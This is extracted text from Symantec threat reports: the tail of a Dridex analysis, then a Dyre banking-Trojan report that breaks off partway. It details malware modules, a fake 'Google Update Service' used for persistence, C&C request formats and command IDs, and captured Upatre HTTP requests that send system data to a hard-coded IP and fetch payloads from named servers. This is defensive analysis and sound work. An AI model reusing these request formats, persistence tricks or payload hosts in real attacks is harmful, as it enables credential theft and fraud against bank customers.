The following operations are supported:
• Command Prompt
• Computer Management
• Control Panel
• Device Manager
• Disk Management
• Event Viewer
• File Explorer
• Logoff
• Task Manager
• Programs and Features
• Power Options
• Restart
• Shutdown
• System
SOCKS module
The SOCKS module
supports remote command execution, search, and download functionality on the compromised computer. There is an x86 and x64 module available, both containing similar functionality.
The SOCKS module provides the following functionality on a compromised computer:
• Remote command execution
• File system search
• File download
• Command and controlTable 7. Dridex VNC module information
File name VncDll.dll
MD5 11240b94722da140b2709bdd5e3da118
SHA1 a1b7ceede38d1ff52f60f1c4ed0e7a1b02e3fc09
SHA256 0cafdcbcb2d8ec175ccf605ae898ef1fd5f775e933370e40f3a2c9e3f22c1377
Size 203264
Purpose VNC module (x86)
Table 8. Dridex SOCKS module information
File name socks_x32.dll
MD5 9b94506dbebb8e3f8fb8468583b1a185
SHA1 38a56cdeb970aa9e767ee74c1669b5328b2154c8
SHA256 68a18b59e551beb98d00dea39eb492f5cd588bbb487250aa69e96211d45f8016
Size 91136
Purpose SOCKS module (x86)Page 25
Dridex: Tidal waves of spam pushing dangerous financial Trojan
The module also acts as a server interpreting
commands as HTTP requests to remotely control the compromised computer. The remote address is passed as an argument to the module.
mod4 module
The mod4 module is an additional Dridex module used to create a new process. There is an x86 and x64 module available, both containing similar functionality. The process to create is parsed from the <lpCommandLine> command line, where <lpCommandLine> is the first argument passed to the currently running process.
mod6 module
Another additional Dridex module is mod6. It is used to send emails using Outlook. There is an x86 and x64 module available, both containing similar functionality. It essentially functions as a spam module, using Outlook to send email to existing contacts.
The module functionality is available from two exported
functions.
The GetContacts export is used to extract email addresses from
Outlook. It uses the Component Object Model (COM) which is initialized using the following Outlook CLSID:
• 0006F03A-0000-0000-C000-000000000046
The SendMail export is used to send files using Outlook. The name, size, and data to be written to the file are
passed as input arguments by this export.Table 9. Dridex SOCKS commands available
Command Description
exec Remote command execution using cmd.exe
search Enumerate drives/folders/files
download Download files from victim
Table 10. Dridex mod4 module information
File name Unknown
MD5 4530ae1c3d786edcbfac0244b4954c32
SHA1 42b8fbc0bba2d0576f38cce75e7bb30189809771
SHA256 bbaba6808a69a9a4de1a66de91637337f96f167831fb69890b9a20a20e3e2dfd
Size 3072
Purpose mod4 module (x86)
Table 11. Dridex mod6 module information
File name spammer_x32.dll
MD5 79d1378b6a1bf5636880cc0a7631a33e
SHA1 e29be9d8a16ae7ee950be2d1ae12b542313fac0b
SHA256 83d6e57210e3c7d6813730170d6f1cf2d42cb6dbee4756d7afe2904679aaa9f5
Size 23552
Purpose mod6 module (x86)
Table 12. Dridex mod6 exports
Export Description
GetContacts Get contacts from Outlook
SendMail Send email using OutlookInterestingly,
Dridex largely ceased operations on December 24, 2015 and resumed again on January 6, 2016.
ATTRIBUTIONPage 27
Dridex: Tidal waves of spam pushing dangerous financial Trojan
Attribution
The level of activity surrounding Dridex indicates that a large cybercrime group is behind the botnet. As
mentioned earlier, Dridex is segregated into a number of subsidiary botnets, known as subnets. It appears likely that different teams of attackers are operating each subnet. It is unknown whether these groups act in loose association or whether they have a centralized organization. The US Department of Justice has said that the
botnet is “run by criminals in Moldova and elsewhere .”
Dridex’s operators are quite professional in their approach, usually following a Monday to Friday working week. The malware is continually refined and some degree of effort is applied to its spam campaigns in order to make them appear as authentic as possible.
Interestingly, Dridex largely ceased operations on December 24, 2015 and resumed again on January 6,
2016. The attackers appeared to have taken an extended break over the holiday period, much like any other professional organization would do.
Given the extremely high level of activity surrounding Dridex in late 2015, it would be reasonable to assume that,
barring a comprehensive takedown, the group will continue to pose a threat throughout 2016.
Protection
Symantec and Norton products have the following protections against Dridex:
Email protection
• Adopting a multi-layered approach to security minimizes the chance of infection. Using an email security
solution should remove the chance of you accidentally opening malicious email and malicious attachments in the first place.
• Email-filtering services such as Symantec Email Security.cloud can help to filter out potential targeted attack
emails before they can reach users.
• Symantec Messaging Gateway ’s Disarm technology can also protect computers from this threat by removing
the malicious content from the attached documents before they even reach the user.
Antivirus
• W32.Cridex
• W32.Cridex!gen1
• W32.Cridex!gen2
• W32.Cridex!gen4
• W32.Cridex!gen5
• W32.Cridex.B
• W64.Cridex
• Trojan.Cridex
• VBS.Downloader.Trojan
• W97M.Downloader
Intrusion prevention system
• System Infected: Trojan.Cridex Activity
• System Infected: Trojan.Cridex Activity 2
• System Infected: Trojan.Cridex Activity 3
• System Infected: Trojan.Cridex Activity 5
• System Infected: Trojan.Cridex Activity 6
• System Infected: W32.Cridex Worm Activity 4
• System Infected: W32.Cridex Worm Activity 6
• System Infected: W32.Cridex Worm Activity 8
• System Infected: W64.Cridex Activity
• Web Attack: Cridex.B ActivityPage 28
Dridex: Tidal waves of spam pushing dangerous financial Trojan
Mitigation strategies
• Always keep your security software up to date to protect yourself against any new variants of this malware.
• Keep your operating system and other software updated. Software updates will frequently include patches for
newly discovered security vulnerabilities that could be exploited by attackers.
• Exercise caution when conducting online banking sessions, in particular if the behavior or appearance of your bank’s website changes.
• Delete any suspicious-looking emails you receive, especially if they contain links and/or attachments.
• Be extremely wary of any Microsoft Office email attachment that advises you to enable macros to view its content. Unless you are absolutely sure that this is a genuine email from a trusted source, do not enable macros and instead immediately delete the email.
• If you suspect Dridex infection, immediately change your online banking account passwords using an uninfected system, contact your bank to alert them to look for any potentially fraudulent transactions.
|
SECURITY RESPONSE
Dyre is a multi-pronged threat and is often used to download
additional malware on to the victim’s computer.Dyre: Emerging threat
on financial fraud landscape
Symantec Security Response
Version 1.0 – June 23, 2015CONTENTS
OVERVIEW ..................................................................... 3
Background ................................................................... 5
Infection vectors ........................................................... 6
The role of Upatre ........................................................ 6
Dyre attacks .................................................................. 8
Primary targets ........................................................... 11
Secondary targets ....................................................... 12
Attribution ................................................................... 12
Motivation ................................................................... 12
Dyre analysis ............................................................... 12
Identification ......................................................... 12
Anti-analysis .......................................................... 12
Dyre loader component ......................................... 13
Dyre Trojan ............................................................ 13
Dyre modules ........................................................ 15
Command and control ........................................... 16
Identification ......................................................... 19
Anti-analysis .......................................................... 19
Upatre loader component ..................................... 19
Upatre Trojan ......................................................... 20
Related threats ............................................................ 26
Trojan.Spadyra ...................................................... 26
Trojan.Spadoluk .................................................... 26
Trojan.Pandex.B (version 1) .................................. 26
Trojan.Pandex.B (version 2) .................................. 27
Infostealer.Kegotip ................................................ 27
Trojan.Fareit (version 1) ........................................ 27
Trojan.Fareit (version 2) ........................................ 28
Trojan.Doscor ........................................................ 29
Trojan.Fitobrute ..................................................... 29
Conclusion ................................................................... 31A significant upsurge in activity over the past year has seen Dyre emerge as one of the most
dangerous financial Trojans, capable of defrauding customers of a wide range of financial
institutions across multiple countries.
Dyre is a highly developed piece of malware, capable of hijacking all three major web
browsers and intercepting internet banking sessions in order to harvest the victim’s
credentials and send them to the attackers.
Dyre is a multi-pronged threat and is often used to download additional malware on to the
victim’s computer. In many cases, the victim is added to a botnet which is then used to send
out thousands of spam emails in order to spread the threat further afield.
OVERVIEWFinancial Trojans
use a number of
common tactics to
steal information.
Most will hijack
the victim’s web
browser in order to
intercept internet
banking sessions.
BACKGROUNDPage 5
Dyre: Emerging threat on financial fraud landscape
Background
Financial Trojans continue to be some of the most lucrative tools for cybercrime gangs. Although the threat
actors and malware they employ have shifted over time, the attack model remains broadly similar. Attackers
infect victims usually through spam email campaigns, installing malware on the victim’s computer which is
capable of stealing their banking credentials.
Financial Trojans use a number of common tactics to steal information. Most will hijack the victim’s web browser
in order to intercept internet banking sessions. They can then either redirect the victim to a fake website
designed to imitate their bank’s site or can inject additional code into authentic web pages in order to harvest
the credentials that the user inputs.
The past year has seen a number of takedown operations against prominent financial Trojan groups. In June
2014, an international law enforcement operation led to the FBI seizing a large amount of infrastructure
belonging to the Gameover Zeus botnet.
A month later, another operation targeted the group behind Shylock , another virulent financial Trojan which was
responsible for the theft of millions of dollars from victims over a three-year period.
More recently, a Europol-led operation struck against the Ramnit botnet , seizing servers and infrastructure
owned by the group behind it. Ramnit facilitated a vast cybercrime operation, harvesting banking credentials
and other personal information from victims.
These takedown operations have knocked out or severely curtailed the operations of some of the most prominent
financial Trojan groups, leaving a vacuum into which the group behind the Dyre Trojan has filled.
Figure 1. The Dyre attack chainPage 6
Dyre: Emerging threat on financial fraud landscape
Infection vectors
The Dyre attackers’ main
infection vector is spam emails.
Generally speaking, the emails
are simple in structure and
usually masquerade as business
documents, voicemail, or fax
messages. Each email comes
with an attachment or web link
to a malware-hosting site. If the
victim is lured into opening the
attachment or link, the Upatre
downloader is installed on their
computer.
The role of Upatre
Downloader.Upatre is one
of the main downloader-
type threats circulating at
present and the malware has
been used by a number of
high-profile attack groups in
recent campaigns to install
threats such as Gameover
Zeus (detected by Symantec as
Trojan.Zbot ) and Cryptolocker
(detected by Symantec as
Trojan.Cryptolocker ). The Dyre
attackers have followed suit
and, since June 2014, Upatre
has been used as the main
means of installing Dyre on a
victim’s computer.
Upatre is usually delivered
hidden in the attachment of
a phishing email. If the victim
opens the attachment, Upatre will run on their computer. Upatre is a lightweight downloader, only 38Kb in size,
and its main purpose is to download and install additional malware on to the victim’s computer.
When run, Upatre will first collect system information, such as the computer’s name, operating system, and
public IP address. It also checks for security software and, if found, attempts to disable it to prevent detection.
On some configurations, Upatre will attempt to perform a privilege escalation attack, taking advantage of the
Microsoft Windows Kernel ‘Win32k.sys’ Local Privilege Escalation Vulnerability (CVE-2014-4113) or using the
Application Compatibility Database Installer (sdbinst.exe).
After following these initial steps, Upatre will then download an encrypted binary from a remote server, decrypt
it, and execute the binary to install Dyre on the victim’s computer.
Figure 2. Example of spam email used by Dyre attackersIf the server is
configured to
hijack the web
page, it sends the
victim to a fake
web page which
looks very similar
to the genuine one.
DYRE ATTACKSPage 8
Dyre: Emerging threat on financial fraud landscape
Dyre attacks
Dyre is capable of attacking the three most commonly used Windows web browsers (Internet Explorer, Chrome,
and Firefox) in order to steal credentials. It uses a number of different man-in-the-browser (MITB) attack
techniques to do this.
One MITB technique involves the malware checking the URL of every web page visited by the victim to see if it
is one of those listed in its configuration files. If there is a match, it will then redirect the victim to a malicious
server. If the server is configured to hijack the web page, it sends the victim to a fake web page which looks very
similar to the genuine one. This page will then harvest any credentials that the victim enters before redirecting
them to the genuine web page in order to avoid raising suspicion.
Figure 3. Redirecting victim to a fake pagePage 9
Dyre: Emerging threat on financial fraud landscape
A second MITB technique allows the attackers to alter a legitimate web page on the fly by injecting malicious
code into the page. For example, if a user opens a banking web page, the malware will contact a malicious server
and send it a compressed version of the web page. The server will then respond with the compressed version
of the web page with malicious code added to it. This altered web page is then displayed on the victim’s web
browser. Its appearance is not altered, but the added code will harvest the victim’s login credentials. In some
scenarios, Dyre may also display an additional fake page informing the victim that their computer had not been
recognized and that additional credentials would need to be provided to verify their identity, such as their date
of birth, PIN code, and credit card details.
Figure 4. Web injection on the flyThe list of targets
is dominated
by banks and it
includes some
of the world’s
most well-known
institutions.
TARGETSPage 11
Dyre: Emerging threat on financial fraud landscape
Primary targets
Dyre is configured to attack customers of multiple organizations. Symantec has to date captured at least 1,000
unique URL strings, each of which is related to web addresses belonging to targeted organizations. The list of
targets is dominated by banks and it includes some of the world’s most well-known institutions. The attackers
particularly focus on English-speaking countries, with the US and UK topping the list in terms of banks targeted.
Figure 5. Dyre detections over time
Figure 6. Number of banks targeted by Dyre Trojan by regionPage 12
Dyre: Emerging threat on financial fraud landscape
Secondary targets
Dyre targets more than just banks. The Trojan is also configured to attack customers of electronic payments
services and users of digital currencies. In addition to financial websites, the Dyre attackers have also targeted
a number of careers- and HR-related websites, presumably because stealing credentials may facilitate
harvesting potentially valuable personal information. Interestingly, a number of web hosting companies are also
targeted. Stolen credentials may facilitate further development of the attackers’ command-and-control (C&C)
infrastructure.
Attribution
Based on our monitoring of Dyre activity, the attackers appear to adhere to a five-day working week, with no
activity on Saturday and Sunday. Monday is the busiest day in terms of activity. This may be due to backlogs
resulting from the weekend break. Activity is measured by counting event updates from C&C servers.
In terms of operating hours, activity ranges from 3am to 10pm UTC timing, with most of the updates occurring
from 9am to 4pm UTC.
Since the attackers appear to be operating in the UTC +2 or UTC +3 time zones, it is possible that the attacks
originate in Eastern Europe or Russia, based on the workday pattern observed.
While a large amount of Dyre’s C&C infrastructure is located in those regions, a relatively low amount of
infections is seen. In addition, financial institutions in those regions are generally not on the target list. One
possibility is that the attackers may be reluctant to draw attention to themselves by attacking those close to
home.
Motivation
The main motivation behind these attacks is financial gain. While the
attackers mainly use Dyre to steal banking credentials, they may also use
stolen personal information from HR or career websites to recruit money
mules.
One other motive could lie in selling “Bots-as-a-Service”, where a sum of
money is paid for each installation of Trojans on target computers.
Dyre analysis
Identification
Table 1 details different security vendors’ detection
names for Dyre.
Anti-analysis
Table 2 contains a list of reverse-engineering
challenges discovered during the course of the
analysis.Table 1. Vendor aliases for Dyre
Vendor Aliases
Symantec Infostealer.Dyre
BitDefender Gen:Variant.Dyreza
Microsoft PWS:Win32/Dyzap
ESET Win32/Battdil
Table 2. List of anti-analysis techniques used by Dyre
Category Description
Anti-debug No
Anti-emulation Yes
Anti-VM No
Packing/compression Yes
Obfuscation No
Host-based encryption Yes
Network-based encryption Yes
Server-side tricks NoPage 13
Dyre: Emerging threat on financial fraud landscape
Dyre loader component
Table 3 details the
characteristics of the Dyre
Trojan’s loader.
Overview
1. Copies itself to the
%Windir% folder and
registers as a service
2. Decrypts code from resource
and injects it into svchost.exe
through ZwQueueApcThread
to load Dyre
Functionality
First, the loader copies itself to %Windir%\[EIGHT RANDOM CHARACTERS].exe and registers the copied file as a
service by adding the following registry entries:
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\”DisplayName” = “Google
Update Service”
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\”ErrorControl” = “1”
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\”ImagePath” = “%Windir%\
HLIEJMtH.exe”
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\”ObjectName” = “LocalSystem”
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\”Start” = “2”
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\”Type” = “16”
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\googleupdate\Security\”Security” = “[BINARY
DATA]”
The loader then removes the original file and runs the copied one. The service has the following attributes:
Startup Type: Automatic
Image Path: %Windir%\HLIEJMtH.exe
Display Name: Google Update Service
Finally, the loader decrypts resources and injects them into svchost.exe through NtMapViewOfSection and
ZwQueueApcThread. The injected binary contains both the Dyre Trojan and the code needed to load it into
memory.
Dyre Trojan
Table 4 details the
characteristics of the
Dyre Trojan injected into
memory.
Overview
The injected Dyre Trojan
contains five resources.
Two of the resources
(7r3ysoac6 and 9tcucogn5)
are encrypted, while two other resources (0y2hgif34 and 4qvndmku0) are compressed and encrypted. The first
32 bytes inside the fifth resource (6et5aphf7) are used as XOR keys to decrypt 0y2hgif34 and 4qvndmku0.Table 3. Dyre loader characteristics
File name kgsATx70.exe
MD5 a62582d46ea8c172778753ed13f1b2c1
SHA-1 aabb3a12f62c01ecc8934f270743cebd9659ffb2
SHA-256 9001d7fc23ae0f164049ab4f8e5521842b87729ecf30b4a7888a40c9d04de7aa
Size (bytes) 450,580
Timestamp 0x5456627C, 02 Nov 2014 16:57:32
Purpose Dyre loader
Table 4. Injected Dyre characteristics
File name b378185c4f8d6359319245b9faeac8db
MD5 b378185c4f8d6359319245b9faeac8db
SHA-1 55619aecdc21e8cecb652b7131544a1d431cb0ba
SHA-256 0a615fcd8476f1a525dc409c9fd8591148b2cc3886602a76d39b7b9575eb659b
Size (bytes) 125,952
PurposeInject malicious .dll into web browser processes, download configurations,
modules and executablesPage 14
Dyre: Emerging threat on financial fraud landscape
Dyre carries out the
following tasks:
1. Decrypts and
decompresses resources
2. Finds valid C&C servers
by using the initial C&C
server list embedded in
resource 9tcucogn5
3. Downloads a C&C server
list, configurations, and
modules, then encrypts
and saves them to the
file nw9vbe8cc4.dll
4. Injects resource 0y2hgif34 into other processes to load downloaded modules
5. Injects resource 4qvndmku0 into web browser processes to act as a MITB
6. Receives commands from remote servers, and downloads and executes other malware
Module loader component
The module loader (MD5:
bd1c4dc7c25027c6bac1da174bf
dd480) is a .dll and is found
inside resource 0y2hgif34. It is
injected into other processes
and is responsible for loading
and unloading modules, as well
as calling functions exported by
modules. The .dll communicates
with Dyre through named pipes. Pipe
names are “\\.\pipe\mvnwihe2w”
and “\\.\pipe\2f1e5f214354r” and
may vary among variants.
Man-in-the-browser (MITB) component
The MITB component (MD5:
6ed9f5147429ae061ff636001
cc5ca40) is a .dll found in
resource 4qvndmku0. It is
injected into the browser
processes (iexplore.exe,
firefox.exe, chrome.exe) of
the three most popular web
browsers (Internet Explorer,
Firefox, Chrome respectively).
It then hooks network-related
functions and acts as a MITB.
The .dll communicates with Dyre
through the named pipe “\\.\pipe\mvnwihe2w” (may vary among variants).
For Internet Explorer, it hooks the following functions inside wininet.dll and kernel32.dll:
ICSecureSocket::Send_Fsm
ICSecureSocket::Receive_Fsm
LoadLibraryExWTable 5. Resources found in injected Dyre
Resource Function
0y2hgif34 Contains a portable executable (PE) (MD5: bd1c4dc7c25027c6bac1d -
a174bfdd480) which is used to load downloaded modules
4qvndmku0 Contains another PE (MD5: 6ed9f5147429ae061ff636001cc5ca40) which
is injected into web browser processes and acts as a MITB
7r3ysoac6 Contains RSA key which is used to verify data received from remote servers
9tcucogn5 Contains initial C&C configuration
6et5aphf7 First 32 bytes are used as XOR keys to decrypt 0y2hgif34 and 4qvndmku0
Table 6. Dyre module loader characteristics
File name bd1c4dc7c25027c6bac1da174bfdd480
MD5 bd1c4dc7c25027c6bac1da174bfdd480
SHA-1 98ecb4d0d558e222056244d4f8d880a7794dc67c
SHA-256 9fbb13fc76a7d36f14acf612f8d18de3b749eaf78fbc029d7e9b1a1ee71fe327
Size (bytes) 12,288
Stamp 0x54eb6679, 23 Feb 2015 16:42:17
Table 7. MITB component characteristics
File name 6ed9f5147429ae061ff636001cc5ca40
MD5 6ed9f5147429ae061ff636001cc5ca40
SHA-1 f2a32423f98ff06c735fb3d568689dd7a3904780
SHA-256 4996182e29a1b5ef9176398e9399ca2b051b90ae18a2ec273bd189effd1f5a7d
Size (bytes) 70,144
Stamp 0x54eb6680, 23 Feb 2015 16:42:24Page 15
Dyre: Emerging threat on financial fraud landscape
For Firefox, it hooks the following functions exported by NSPR4.dll or NSS3.dll:
PR _ Read
PR _ Write
PR _ Close
For Chrome, it hooks functions inside chrome.dll for similar purposes.
Dyre modules
Dyre also has a number
of modules which provide
additional functionality to the
malware.
m_i2p32
This module enables Dyre to
connect to the anonymous
i2p network and may also
make it work as an i2p proxy
node.
tv32
Tv32 is a Virtual Network
Computing (VNC) module
with limited functionality. It
uses a local port and waits for
a connection from a remote
computer. The module is
used primarily for remote
viewing of the screen of the
compromised computer.
Unlike vnc32 , this module
does not have the capability
to generate keyboard and
mouse events from the attacker side.
vnc32
Vnc32 is another VNC
module. Like tv32, it uses
a local port and waits for a
connection from a remote
computer. In this case, it
could handle keyboard and
mouse events coming from
the attacker, as well as
setting clipboard data. With
these supported functions,
the attacker can operate
the compromised system
remotely.Table 8. m_i2p32 module characteristics
File name m_i2p32.bin
MD5 fe63819d4efa60f5008b01f4f5233c05
SHA-1 7c8452f07527c9b9c7d5faf95b1dc089b6eee12e
SHA-256 a7f9c79d89d6983bbe37cfe6338fd8e98524429137067dbfd9ac747e96e02a2f
Size (bytes) 877,056
Timestamp 0x5506F4AF, 16 Mar 2015 15:20:15
Table 9. tv32 module characteristics
File name tv32.bin
MD5 48ea8d407cc395190fd812e02aa12346
SHA-1 b218321377d97103d840ed2a84fe8cb5246aac77
SHA-256 a9cf26207ac64c32534fd3f2922803c44d15ea5f04a5d7d9752756bb384b09bf
Size (bytes) 132,096
Timestamp 0x54380341,10 Oct 2014 17:03:13
Table 10. vnc32 module characteristics
File name vnc32.bin
MD5 d986324f137b13136155313e50e001b1
SHA-1 9fc5ba2c42b00ec2d85af2db8a2780760b81bb4e
SHA-256 e2c9541fbf3db8f422fccdbe3d49b8829c5ad8c7a70fa541f9ed50082abb17fc
Size (bytes) 190,464
Timestamp 0x5437C862, 10 Oct 2014 12:52:02Page 16
Dyre: Emerging threat on financial fraud landscape
wg32
Wg32 is used to collect
system information, cookies,
certificates, and web
browser histories from the
compromised computer.
Command and
control
Dyre communicates with
C&C servers through HTTPS.
Before it communicates with
the C&C server, it first tests for internet availability using the following approaches:
1. Making socket connection to either google.com or microsoft.com
2. Using the Windows API, InternetGetConnectedState
Requests
Dyre is configured to send a number of different requests to a C&C server.Table 11. wg32 module characteristics
File name wg32.bin
MD5 443bfc65ca9814fa981f1f060fcdef80
SHA-1 964abe3225ac0c7874f8e1bedaf4fc596f9e2351
SHA-256 2cc02899e8461c275db2bffa4c0a22b19717d0129abb1b78412729f6fb0040ad
Size (bytes) 52,736
Timestamp 0x54CF86DC, 02 Feb 2015 14:17:00
Table 12. Dyre handshake request to C&C server
Category Description
Method HTTP GET
Request format /[CampaignID]/[BotID]/5/spk/[PublicIP]/
Request example/1901uk1/WINDOWS-PC_W617601.AE904EF3DD390FA8A8D004243C -
0CA65B/5/spk/[REDACTED]/
Response format [SignedData]
Main purpose Verify data received to see whether it is a valid C&C server
Table 13. Dyre request to C&C server for modules
Category Description
Method HTTP GET
Request format /[CampaignID]/[BotID]/0/[OSVersion]/[Version]/[PublicIP]/
Request
example/1901uk1/WINDOWS-PC_W617601.AE904EF3DD390FA8A8D004243C -
0CA65B/0/Win_7_SP1_32bit/1089/[REDACTED]/
Response
format/1/[CampaignID]/[BotID]/0/0/[ConfigDataSize]/[\x0D\x0A][EncryptedData]
Main purpose Request C&C server used by modules
Table 14. Dyre request to C&C server for a new list of C&C servers
Category Description
Method HTTP GET
Request
format/[CampaignID]/[BotID]/23/[Checksum]/[31BytesRandomString]/[PublicIP]/
Request
example/1901uk1/WINDOWS-PC_W617601.AE904EF3DD390FA8A8D004243C -
0CA65B/23/12345/ZfOEIVWSCLbZaNYJjXmwQIRgwECrOEj/[REDACTED]/
Response
formatEncrypted C&C data
Main purpose Get new C&C server list from remote locationPage 17
Dyre: Emerging threat on financial fraud landscape
Four modules can be requested: ‘m_i2p32’, ‘tv32’, ‘vnc32’ and ‘wg32’.
The request for configuration
has the same format as the
request for modules. There
are three configurations:
‘httprex’, ‘respparser’,
and ‘bccfg’. ‘httprex’ and
‘respparser’ are used by
the MITB component. In a
recent Dyre sample (MD5:
5a0649b9d6feaaf02bbc70bc
a6c41f21), these two
configuration names have
been modified to ‘httprex2’
and ‘rps2’ respectively.
Symantec has identified a
number of command IDs
supported by Dyre (Table 18).
While monitoring the 0x29 and 0x2B
commands, we observed several
additional types of malware being
downloaded to the infected computer,
which we will detail in this report.Table 16. Dyre request to C&C server for a specific configuration
Category Description
Method HTTP GET
Request format /[CampaignID]/[BotID]/5/[ConfigName]/[PublicIP]/
Request example/1901uk1/WINDOWS-PC_W617601.AE904EF3DD390FA8A8D004243C -
0CA65B/5/httprex/[REDACTED]/
Response format [EncryptedConfigData]
Main purpose Request specific configuration from C&C serverTable 15. Dyre request to C&C server for a specific module
Category Description
Method HTTP GET
Request format /[CampaignID]/[BotID]/5/[ModuleName]/[PublicIP]/
Request example/1901uk1/WINDOWS-PC_W617601.AE904EF3DD390FA8A8D004243C -
0CA65B/5/wg32/[REDACTED]/
Response format [EncryptedData]
Main purpose Request a specific module
Table 17. Dyre request to C&C server for commands
Category Description
Method HTTP GET
Request
format/[CampaignID]/[BotID]/1/[31BytesRandomString]/[PublicIP]/
Request
example/1901uk1/WINDOWS-PC_W617601.AE904EF3DD390FA8A8D004243C0CA65B/1/
ZfOEIVWSCLbZaNYJjXmwQIRgwECrOEj/[REDACTED]/
Response
format/[CommandID]/[CampaignID]/[BotID]/[31BytesRandomString]/[TimeStamp]/[\
x0D\x0A][EncryptedCommandData]
Response
example/41/1901uk1/WINDOWS-PC_W617601.AE904EF3DD390FA8A8D004243C0CA65B/
ZfOEIVWSCLbZaNYJjXmwQIRgwECrOEj/1339968/http://94.23.255.86/ml1from2_
test.tarIn a recent Dyre sample (MD5: 5a0649b9d6feaaf02bbc70bca6c41f21, https
has been enabled (http://69.162.126.162:443/kucha1.tar)
Main purpose Request command from C&C server
Table 18. Commands supported by Dyre
Command Description
0x3A (58) Connect to back channel
0x39 (57) Download vnc32 module
0x38 (56) Download tv32 module
0x3D (61) Download wg32 module
0x1E (30) Restart computer
0x29A (666)Check aliveMaster boot record/Volume boot record wiper (Seen in
recent Dyre sample, MD5: 5a0649b9d6feaaf02bbc70bca6c41f21)
0x2B (43) Download and execute additional file
0x29 (41) Download and execute additional filePage 18
Dyre: Emerging threat on financial fraud landscape
C&C infrastructure
The attackers
behind Dyre have
built an extensive
C&C infrastructure.
Symantec has to date
observed:
• 285 main C&C IP
addresses
• 14 IP addresses used
for the delivery of
plugin modules
• Two IP addresses
used for the delivery
of additional payloads
• 21 IP addresses used
for carrying out MITB
attacks
• Seven back channel
IP addresses
Notably, the attackers
have segregated their
C&C servers very
well and only two IP
addresses were used concurrently, as both main C&C addresses and module dispatch servers.
Symantec observed that 99 percent of C&C IP addresses are based in Europe. The majority of the C&C servers
are located in Ukraine and Russia (227 out of 285), amounting to around 80 percent of all IP addresses observed.
While the C&C infrastructure used for downloading additional modules is also dominated by Ukraine and Russia,
the C&C infrastructure for delivering extra payloads, carrying out MITB attacks and opening backchannel
communications is mainly deployed elsewhere in Europe. One possible explanation is that these functions are
operated by two separate groups.Upatre analysis.
Figure 7. Top ten Dyre C&C locations
Figure 8. Locations of secondary C&C infrastructurePage 19
Dyre: Emerging threat on financial fraud landscape
Identification
Table 19 details Symantec’s detection name for Upatre.
Anti-analysis
Table 20 contains a list of reverse-engineering
challenges discovered during the course of the
analysis.
Upatre loader component
Table 21 details the characteristics of the Upatre
loader.
Overview
1. Posts system information such as computer
name, OS version, and public IP address to a
remote IP address (181.189.152.131)
2. Downloads an encrypted binary from a remote
server and stores it to file
3. Decrypts the file to
allocated memory and runs
it
Functionality
When launched, the loader
creates the following file and
writes the current full path of
itself:
• %UserProfile%\Local
Settings\Temp\gooA07C.
txt
It then copies itself to the following file and executes the copied file:
• %UserProfile%\Local Settings\Temp \gooupdate.exe
When the copied file executes, it checks the file size of %Temp%\gooA07C.txt. If it is bigger than 0x406, it will
try to decrypt and launch the file. Otherwise it will delete the previous original file being launched and then send
a request to get the public IP address from checkip.dyndns.org or icanhazip.com:
GET / HTTP/1.1
Accept: text/*, application/*
User-Agent: Mazilla/5.0
Host: checkip.dyndns.org
Cache-Control: no-cache
HTTP/1.1 200 OK
Content-Type: text/html
Server: DynDNS-CheckIP/1.0
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 104
<html><head><title>Current IP Check</title></head><body>Current IP Address:
42.61.[REMOVED]</body></html>Table 19. Vendor aliases for Upatre
Vendor Aliases
Symantec Downloader.Upatre
Table 20. List of anti-analysis techniques used by Upatre
Category Description
Anti-debug No
Anti-emulation Yes
Anti-VM No
Packing/compression Yes
Obfuscation No
Host-based encryption Yes
Network-based encryption Yes
Server-side tricks No
Table 21. Upatre loader characteristics
File name fax_0201_24022015_3129095728891052.pdf.exe
MD5 9a223a821c0cfad395a5f2be97352d44
SHA-1 2b84871b11b948567d536cce9627f9d9de20a9e7
SHA-256 bb6359b1bed7682bb45cca05693417be6fcb82a45418a6ef8a81d6c4476ef026
Size (bytes) 38,144
Purpose DownloaderPage 20
Dyre: Emerging threat on financial fraud landscape
The threat locates the string of the IP address from the response (here, it is “42.61.[REMOVED]”) and then
encodes the string by adding each character with 0x14. Here, the encoded IP address is “HFBJEB[REMOVED]”:
‘4’: 0x34 + 0x14 = 0x48 ‘H’
‘2’: 0x32 + 0x14 = 0x46 ‘F’
‘.’: 0x2E + 0x14 = 0x42 ‘B’
...
The loader then gathers system information (computer name and OS version) and sends it to a remote IP address
181.189.152.131 through a GET request. “2402us22” is the campaign ID that is hard-coded in the sample and
could change among variants:
GET /2402us22/ADMIN-USER/0/51-SP3/0/HFBJEB[REMOVED] HTTP/1.1
User-Agent: Mazilla/5.0
Host: 181.189.152.131:14127
Cache-Control: no-cache
The loader then tries to obtain an encrypted binary from two remote servers. If the first one fails, it will try the
other one. The downloaded binary is stored in %UserProfile%\Local Settings\Temp\gooA07C.txt. For recent
variants of Upatre, HTTPS connections are used for downloading:
bilalhussain.com/mandoc/juntet.pdf
s517098314.websitehome.co.uk/mandoc/juntet.pdf
GET /mandoc/juntet.pdf HTTP/1.1
Accept: text/*, application/*
User-Agent: Mazilla/5.0
Host: bilalhussain.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 25 Feb 2015 06:20:45 GMT
Content-Type: application/pdf
Content-Length: 461868
Connection: keep-alive
Last-Modified: Tue, 24 Feb 2015 18:53:40 GMT
Accept-Ranges: bytes
..8....TZ.+#.
..n.m,n.y.l..nk...w......\73”6.)ND..7AZ....0.)..E/..A u.<x..AIw..AxnA..{AAz...{yA..
mAF}.r..Y)...AJ.Y+”..A..4x|..0....z}...Y.f.
After decryption, the loader will jump to offset 0x3C (dw value at offset 0x8h) and continue execution. The code
will decompress another PE file (MD5: 95122947595d56e22cc1805c42c04ec9) by using RtlDecompressBuffer.
The offset and size of the compressed data are indicated at 0xC in the buffer. The loader then maps the PE file,
loads the import address table (IAT), and jumps to the entry point.
Upatre Trojan
Table 22 details the
characteristics of the
decompressed Upatre
Trojan :
Overview
Upatre carries out the
following tasks:
1. Works against security
